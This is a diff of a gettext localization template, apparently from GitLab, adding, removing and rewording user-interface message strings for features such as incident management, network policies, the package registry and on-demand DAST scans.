msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr ""
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr ""
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
+msgstr ""
+
+msgid "OnDemandScans|Use existing site profile"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr ""
@@ -17042,6 +17604,9 @@ msgstr ""
msgid "PackageRegistry|Filter by name"
msgstr ""
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr ""
@@ -17060,9 +17625,6 @@ msgstr ""
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr ""
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17099,27 +17661,18 @@ msgstr ""
msgid "PackageRegistry|Pip Command"
msgstr ""
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr ""
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr ""
-
msgid "PackageRegistry|PyPi"
msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr ""
-
msgid "PackageRegistry|Remove package"
msgstr ""
@@ -17168,13 +17721,19 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
